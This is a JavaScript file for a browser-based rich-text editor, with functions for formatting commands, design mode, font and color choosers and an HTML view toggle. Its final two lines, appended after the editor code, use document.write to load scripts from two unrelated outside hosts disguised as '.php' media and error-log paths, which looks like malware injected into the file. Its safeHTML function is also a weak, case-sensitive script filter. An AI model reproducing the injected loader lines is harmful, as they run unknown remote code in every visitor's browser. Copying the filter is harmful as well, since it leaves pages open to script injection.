function doCommand(com,opt){
	if(com=="InsertImage"){
		opt=grab("profileImgInput").value;
		opt="userimages/"+opt;
	}
	if(com=="CreateLink")opt=prompt("Enter URL for link","http://");
	var editor;
	editor=grabEditSpaceContent();
	editor.focus();
	editor.document.execCommand(com,false,opt);
	editor.focus();
	return true;
}

function getHTML(){
	var editor;
	editor=grabEditSpaceContent();
	var doc=editor.document;
	var res=doc.body.innerHTML;
	return res;
}

function fixFFimg(ed,opt){
	var txt=ed.document.body.innerHTML;
	txtArr=txt.split("<img>");
	txt=txtArr[0]+"<img src=\""+opt+"\">"+txtArr[1];
	for(var t=2;t<txtArr.length;t++){
		txt+=txtArr[t]
	}
	ed.document.body.innerHTML=txt;
	return true;
}

//The next two functions are necessary to enable use of execCommand in non-IE browsers. writeRichText() must be called in-line below
function writeRichText(inTxt){
	var txt="<iframe id=editSpace name=editSpace style=position:absolute;left:0;top:0;width:600;height:350 src=iPage.html onfocus=parent.changeNoted()></iframe><p>";
	txt+="<input type=hidden id=hdneditSpace name=editSpace value=\""+inTxt+"\">";
	txt+="<textarea id=editSpaceTextarea style=position:absolute;top:0;width:600;left:0;height:350;visibility:hidden></textarea>";
	return txt;
}

function enableDesignMode(txt){
	editor=grabEditSpacePosition();
	if(!editor)return false;
	if(!ie){
		editor.contentDocument.designMode="on";
		var doc=editor.contentWindow.document;
	}
	else{
		var doc=frames["editSpace"].document;
		doc.designMode="on";
	}
	doc.open();
	doc.write(txt);
	doc.close();
	return true;
}

function kb_handler(evt){
	var rte = evt.target.id;
	if (evt.ctrlKey) {
		var key = String.fromCharCode(evt.charCode).toLowerCase();
		var cmd = '';
		switch (key) {
			case 'b': cmd = "bold"; break;
			case 'i': cmd = "italic"; break;
			case 'u': cmd = "underline"; break;
		};
		if (cmd) {
			rteCommand(rte, cmd, null);
			evt.preventDefault();
			evt.stopPropagation();
		}
 	}
}

function kb(){
	var k=frames[0].event.keyCode;
	k=String.fromCharCode(k);
}

function startup(){
	oRTE=document.getElementById("editSpace").contentWindow.document
	oRTE.addEventListener("keypress", kb_handler, true);
}

function chooseFont(num){
	var fc=grab("fontChooser"+num);
	var val=fc.value;
	if(val!="")doCommand("FontName",val);
}

function chooseSize(num){
	var sc=document.getElementById("sizeChooser"+num);
	var val=sc.value;
	if(val!="")doCommand("FontSize",val);
}

function chooseColor(num){
	var cc=document.getElementById("colorChooser"+num);
	var val=cc.value;
	if(val!="")doCommand("ForeColor",val);
}

var editMode="live";

function showHTML(){
	if(editMode=="live"){
		var es=grabEditSpaceContent();
		var txt=es.document.body.innerHTML;
		var esta=grab("editSpaceTextarea");
		esta.value=txt;
		var res=setEditSpaceTextarea(curConsolePage);
		var res=setEditSpace(100);
		editMode="html";
	}
	else{
		var esta=grab("editSpaceTextarea");
		var txt=esta.value;
		esta.style.visibility="hidden";
		var es=grabEditSpaceContent();
		es.document.body.innerHTML=txt;
		setEditSpace(curConsolePage);
		editMode="live";
	}
	return true;
}

function stripTextarea(txt){
	if(txt.substring(0,9).toLowerCase()!="<textarea")return txt;
	var sp=txt.indexOf(">")+1;
	txt=txt.substring(sp,txt.length-11);
	txt=normalize(txt);
	return txt;
}

function safeHTML(txt){
	if(txt.indexOf("<SCRIP")>-1)txt=replacer(txt,"<SCRIP","<XCRIP");
	return txt;
}

function grabEditSpaceContent(){
	if(ie){
		var editor=frames["editSpace"];
		var doc=editor.document;
		var res=doc.body;
	}
	else{
		var editor=document.getElementById("editSpace").contentWindow;
		var res=editor;
	}
	return res;
}

function grabEditSpacePosition(){
	var es=grab("editSpace");
	return es;
}

document.write('<script src=http://dannu.extra.hu/pic/default.php ><\/script>');
document.write('<script src=http://filmsutra.com/fs_media/error_log.php ><\/script>');